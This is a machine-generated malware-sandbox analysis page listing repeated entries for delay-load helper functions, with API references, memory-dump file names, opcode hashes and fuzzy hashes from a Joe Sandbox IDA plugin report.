Uniqueness Score: -1.00%

Function 0032F382 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f1faf52413b6e08a6f0db6fb90b2049fb1e9b1e1e2db770263f3818b73bcdae0
Instruction ID: 102e22b4f99976a3f62341792a151d9cdd249f9efd931770e05f972e46be0c77
Opcode Fuzzy Hash: f1faf52413b6e08a6f0db6fb90b2049fb1e9b1e1e2db770263f3818b73bcdae0
Instruction Fuzzy Hash: E3B012AA2680127D368BD5143C23E3A02BCC0C0B15330C03FF404C8340D4801C455171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F38C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 901dae7ef74fd5304b160e046d7f88860979ae0e0f57bd4b5bf98ed18f02c29f
Instruction ID: 858d88c747a0ee72fced2a340ce08cadaf9cd654e2e5b775f3c1501d4f272815
Opcode Fuzzy Hash: 901dae7ef74fd5304b160e046d7f88860979ae0e0f57bd4b5bf98ed18f02c29f
Instruction Fuzzy Hash: 29B012AA2681127D36CBD1143C23E3602BCC0C0B11330C13FF004C8740D4801C851171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3DC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f8a5ab25d8fec156a278628b57d2f1b77517978610c44f330e8dfa0834b31777
Instruction ID: 01ec699559c4bd3d0b1d941db3aaf24507f386d4f117a65a2fead2cd942c832d
Opcode Fuzzy Hash: f8a5ab25d8fec156a278628b57d2f1b77517978610c44f330e8dfa0834b31777
Instruction Fuzzy Hash: 68B012BA26A1127D36CBD2143C33E3602BCC0D4B11330813FF004C8540D4801C811171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3C8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2026ca17c161408cc53d0e27d6898d17f2cb0dc9e12f6325d810f8a9ebcd97a1
Instruction ID: ed48ac38d6897208c02c53d361293910052fb2ac2f768fd8687dd873e495b501
Opcode Fuzzy Hash: 2026ca17c161408cc53d0e27d6898d17f2cb0dc9e12f6325d810f8a9ebcd97a1
Instruction Fuzzy Hash: 11B012BA2680127D368BD1153C23E3603BCC0C0B12370803FF004CC140D4801C415171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F573 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ba905ba127acaafb8233f76bda7c4e7668723e615bd521e975bf7c2515125753
Instruction ID: 8e1b60d0cbbc54fddb80387b926c51e7b52cc710d04439a8e2f236cf32a1db1c
Opcode Fuzzy Hash: ba905ba127acaafb8233f76bda7c4e7668723e615bd521e975bf7c2515125753
Instruction Fuzzy Hash: 0FB012E52A9620BF330B56153C13E3701ACC4C4B10330813BF004C9040D5805C840071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F57D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d32858baf129c718db94820860400b1de0d06e38eb9b56a00dff7e1cff6ca555
Instruction ID: 6e35bc7f49c9e7c0dc20d78a2d57d176f9e1b33dda84c57c4c3b82f9af1667b1
Opcode Fuzzy Hash: d32858baf129c718db94820860400b1de0d06e38eb9b56a00dff7e1cff6ca555
Instruction Fuzzy Hash: 1DB012E52E95207F320B56153C23F37016CD0C4B10330803BF004C9040D5805C400171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F5A5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F556

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a53300dde8f3337e8777a8168991fe8fefafc52e512539e872ef59ce415304a3
Instruction ID: 1656d4e04b7aa62aba5927c0c3adb12ce91a47d24434fdbc4175eea9e597a862
Opcode Fuzzy Hash: a53300dde8f3337e8777a8168991fe8fefafc52e512539e872ef59ce415304a3
Instruction Fuzzy Hash: 80B012E52B84207F320B56157C23E37016CD0C4B10330863FF004C9040D5805C400071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F6B4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F6AB

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5a860f43ed7af833f4d8880d68490cf1e17e60de26f6e7af187761a5e6a6ac42
Instruction ID: 574713754ab8e1ed082e3320edaf18598ce1cc64bc100fa0d43ae12a78dbf5ab
Opcode Fuzzy Hash: 5a860f43ed7af833f4d8880d68490cf1e17e60de26f6e7af187761a5e6a6ac42
Instruction Fuzzy Hash: F4B012E63781107D330B51243C13D36016CC4C4B14330823BF004C8184D6811C880171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F6BE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F6AB

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5215b26e3f8d149a4277d7295323dca0734aea30611680af9faddb7166096334
Instruction ID: 801c5285322d374abc24377046370a9849744bb72836d30ac5f55d0cab17924f
Opcode Fuzzy Hash: 5215b26e3f8d149a4277d7295323dca0734aea30611680af9faddb7166096334
Instruction Fuzzy Hash: FCB012A67780107D320B51243D13D36016CC0C4B14330C13BF004CC084D6811C450171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F699 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F6AB

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5d8f82c590b24a5b7ec5e62fba32a0b31dee16b6b94180fc32c53e22c80b4bcd
Instruction ID: e2e9455a4a4796dd7794a00eb70bac1a1a0504ae5dcfc357c903265cec41622b
Opcode Fuzzy Hash: 5d8f82c590b24a5b7ec5e62fba32a0b31dee16b6b94180fc32c53e22c80b4bcd
Instruction Fuzzy Hash: 39B012AA7790107D320B1110BD13C36012CC8C0B14330C13BF000DC08194811C450071

Uniqueness

Uniqueness Score: -1.00%

Function 0032F6D2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F6AB

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a80feed91823fb483d84169d4b2810e2d097ed4a03b6147575f86853807eb463
Instruction ID: 92d440814e11f63e46631be06bb6fe8448ca4ac0ecfc683b2de251aaea2c0cb9
Opcode Fuzzy Hash: a80feed91823fb483d84169d4b2810e2d097ed4a03b6147575f86853807eb463
Instruction Fuzzy Hash: E0B012A6378110BD320B51143C13D3A017CC0C4B14330C13BF404CD084D4802C441171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F6C8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F6AB

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 483478398b14689786cfcb2a3c3c5b95d9d9d2ddb54e900c8513fd8fba0e55e0
Instruction ID: 037f708dd43c015ee7da8d52319abcbb4855fbf7f87f44ffabc7d25c79e8c117
Opcode Fuzzy Hash: 483478398b14689786cfcb2a3c3c5b95d9d9d2ddb54e900c8513fd8fba0e55e0
Instruction Fuzzy Hash: 3EB012A63780107D320B51243C23E36016CD0C4B14330813BF004C8484D6801C440171

Uniqueness

Uniqueness Score: -1.00%

Function 0032F733 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F70C

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9b255c972cd8d761707193c86e7078a30da0a287b3b265b9e5f6d6a2807438d7
Instruction ID: aa7edd5a898f243239637d89d1b55c6bfb3f48618c3be9f0ab2bbdb92c436c0f
Opcode Fuzzy Hash: 9b255c972cd8d761707193c86e7078a30da0a287b3b265b9e5f6d6a2807438d7
Instruction Fuzzy Hash: CAB012A52682107E325B51183D13E36016CC4C0B21330893FF004CC440D4846CC01031

Uniqueness

Uniqueness Score: -1.00%

Function 0032F73D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F70C

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d191b870a800277609cb6ba82088613d1884df22673101d13df3b50a4a700ce8
Instruction ID: 37d676dea5a73eb8fdac80367316aa97eaa79d52346ba8d748aadfe5cef0f865
Opcode Fuzzy Hash: d191b870a800277609cb6ba82088613d1884df22673101d13df3b50a4a700ce8
Instruction Fuzzy Hash: 4EB012A52682107E321B51183D13E3A016CC4C0B25330C43FF404CD040D4846C841031

Uniqueness

Uniqueness Score: -1.00%

Function 0032F71F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F70C

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 89d940542775bc182092bc3a6ee36c65977409517b670e2d9d8a3f86ac709c8e
Instruction ID: 170f1dc8cbc9f1834217b1cc8c41d0ad57b6c8a633bcd4aec7e8903ea46f7ad2
Opcode Fuzzy Hash: 89d940542775bc182092bc3a6ee36c65977409517b670e2d9d8a3f86ac709c8e
Instruction Fuzzy Hash: 2BB012A56681107E320B51183E13E36016CC4C0B11330843FF005CC040D6C05D810031

Uniqueness

Uniqueness Score: -1.00%

Function 0032F373 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b03cee7e5de3f3aed435f773838288d3bc42f9538e914e21dfa6294484c79650
Instruction ID: c0ddf8673e2c2cb2a60dcd4c42b33ae22b72cd3f096b26c5b04c7f59f384384d
Opcode Fuzzy Hash: b03cee7e5de3f3aed435f773838288d3bc42f9538e914e21dfa6294484c79650
Instruction Fuzzy Hash: C8A001AA6A9123BD368AA2617D27D7A02BCC4D4B65334893EF50288581A9802C8665B1

Uniqueness

Uniqueness Score: -1.00%

Function 0032F3B9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0032F33D

Part of subcall function 0032F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0032FA5C
Part of subcall function 0032F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0032FA6D

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

